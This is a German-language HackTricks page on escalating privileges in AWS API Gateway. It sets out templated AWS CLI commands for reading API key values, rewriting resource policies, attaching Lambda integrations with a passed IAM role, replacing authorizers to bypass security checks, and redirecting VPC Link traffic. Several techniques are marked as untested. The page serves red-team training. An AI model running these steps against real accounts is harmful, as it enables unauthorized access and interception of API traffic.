AWS - Apigateway Privesc

Reading time: 5 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Apigateway

Für weitere Informationen siehe:

AWS - API Gateway Enum

apigateway:POST

Mit dieser Berechtigung können Sie API-Schlüssel für die konfigurierten APIs (pro Region) erzeugen.

bash
aws --region <region> apigateway create-api-key

Potentielle Auswirkung: Du kannst mit dieser Technik kein privesc durchführen, aber du könntest Zugang zu sensiblen Informationen erhalten.

apigateway:GET

Mit dieser Berechtigung kannst du die generierten API-Schlüssel der konfigurierten APIs abrufen (pro Region).

bash
aws --region <region> apigateway get-api-keys
aws --region <region> apigateway get-api-key --api-key <key> --include-value

Mögliche Auswirkungen: Du kannst mit dieser Technik kein privesc durchführen, aber du könntest Zugriff auf sensible Informationen erhalten.

apigateway:UpdateRestApiPolicy, apigateway:PATCH

Mit diesen Berechtigungen ist es möglich, die Resource Policy einer API zu ändern, um sich selbst die Berechtigung zu geben, sie aufzurufen, und potenziell Zugriff zu missbrauchen, den das API gateway haben könnte (z. B. das Aufrufen einer verwundbaren lambda).

bash
aws apigateway update-rest-api \
--rest-api-id api-id \
--patch-operations op=replace,path=/policy,value='"{\"jsonEscapedPolicyDocument\"}"'

Potential Impact: Du wirst normalerweise nicht direkt per privesc eskalieren können, aber du könntest Zugriff auf sensible Informationen erhalten.

apigateway:PutIntegration, apigateway:CreateDeployment, iam:PassRole

note

Muss getestet werden

Ein Angreifer mit den Berechtigungen apigateway:PutIntegration, apigateway:CreateDeployment und iam:PassRole kann eine neue Integration zu einer bestehenden API Gateway REST API hinzufügen, die eine Lambda-Funktion mit einer angehängten IAM role verwendet. Der Angreifer kann dann die Lambda-Funktion auslösen, sodass sie beliebigen Code ausführt und möglicherweise Zugriff auf die Ressourcen erhält, die mit der IAM role verknüpft sind.

bash
API_ID="your-api-id"
RESOURCE_ID="your-resource-id"
HTTP_METHOD="GET"
LAMBDA_FUNCTION_ARN="arn:aws:lambda:region:account-id:function:function-name"
LAMBDA_ROLE_ARN="arn:aws:iam::account-id:role/lambda-role"

# Add a new integration to the API Gateway REST API
aws apigateway put-integration --rest-api-id $API_ID --resource-id $RESOURCE_ID --http-method $HTTP_METHOD --type AWS_PROXY --integration-http-method POST --uri arn:aws:apigateway:region:lambda:path/2015-03-31/functions/$LAMBDA_FUNCTION_ARN/invocations --credentials $LAMBDA_ROLE_ARN

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Potential Impact: Zugriff auf Ressourcen, die mit der Lambda function's IAM role verbunden sind.

apigateway:UpdateAuthorizer, apigateway:CreateDeployment

note

Muss getestet werden

Ein Angreifer mit den Berechtigungen apigateway:UpdateAuthorizer und apigateway:CreateDeployment kann einen vorhandenen API Gateway authorizer ändern, um Sicherheitsprüfungen zu umgehen oder beim Aufruf von API-Anfragen beliebigen Code auszuführen.

bash
API_ID="your-api-id"
AUTHORIZER_ID="your-authorizer-id"
LAMBDA_FUNCTION_ARN="arn:aws:lambda:region:account-id:function:function-name"

# Update the API Gateway authorizer
aws apigateway update-authorizer --rest-api-id $API_ID --authorizer-id $AUTHORIZER_ID --authorizer-uri arn:aws:apigateway:region:lambda:path/2015-03-31/functions/$LAMBDA_FUNCTION_ARN/invocations

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Potentieller Einfluss: Umgehung von Sicherheitsprüfungen, unautorisierter Zugriff auf API-Ressourcen.

note

Noch zu testen

Ein Angreifer mit der Berechtigung apigateway:UpdateVpcLink kann einen vorhandenen VPC Link so ändern, dass er auf einen anderen Network Load Balancer zeigt und damit privaten API-Verkehr möglicherweise zu unautorisierten oder bösartigen Ressourcen umleitet.

bash
VPC_LINK_ID="your-vpc-link-id"
NEW_NLB_ARN="arn:aws:elasticloadbalancing:region:account-id:loadbalancer/net/new-load-balancer-name/50dc6c495c0c9188"

# Update the VPC Link
aws apigateway update-vpc-link --vpc-link-id $VPC_LINK_ID --patch-operations op=replace,path=/targetArns,value="[$NEW_NLB_ARN]"

Mögliche Auswirkungen: Unbefugter Zugriff auf private API-Ressourcen, Abfangen oder Unterbrechung des API-Verkehrs.

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks